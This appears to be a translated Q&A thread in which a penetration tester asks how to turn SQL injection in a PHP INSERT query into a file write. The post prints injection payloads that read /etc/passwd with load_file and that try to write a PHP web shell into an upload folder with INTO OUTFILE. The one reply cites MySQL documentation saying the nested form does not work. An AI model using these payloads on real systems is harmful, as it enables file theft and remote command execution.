这是一个有趣的场景。在最近的一次测试中,我在INSERT查询中遇到了SQL注入。后端代码如下所示:
$sqlquery= "INSERT INTO sometable set col1='" + $_GET['param'] + "'";
我能够在文件中插入任意值,甚至可以使用SELECT子查询来插入' / etc / passwd'的内容。到sometable里面的col1,稍后通过应用程序中其他地方完全不同的功能来阅读它。
$sqlquery= "INSERT INTO sometable set col1='1', (SELECT load_file('/etc/passwd'))";
挑战是使用INTO OUTFILE将文件写入磁盘(我有FILE privs,文档根目录可由MySQL用户写入 - 已验证)。看起来MySQL不支持以下内容:
$sqlquery= "INSERT INTO sometable set col1='1', (SELECT 'a' INTO OUTFILE '/tmp/data.txt')";
目的是在我有写权限的文件夹中编写一个php web shell。需要执行的最终查询是:
$sqlquery= "INSERT INTO sometable set col1='1', (SELECT '<?php system($_GET['x']) ?>' INTO OUTFILE'/var/www/app/imgupload/shell.php')";
MySQL期望子查询返回数据,这就是上述语句似乎不起作用的原因,因为INTO OUTFILE会将数据写入磁盘而不是将其返回给MySQL。
您认为有解决方法吗?
答案 0 :(得分:5)
来自http://dev.mysql.com/doc/refman/5.7/en/select-into.html
不应在嵌套的SELECT中使用INTO子句,因为这样 SELECT必须将其结果返回到外部上下文。
所以答案是否定的,我想。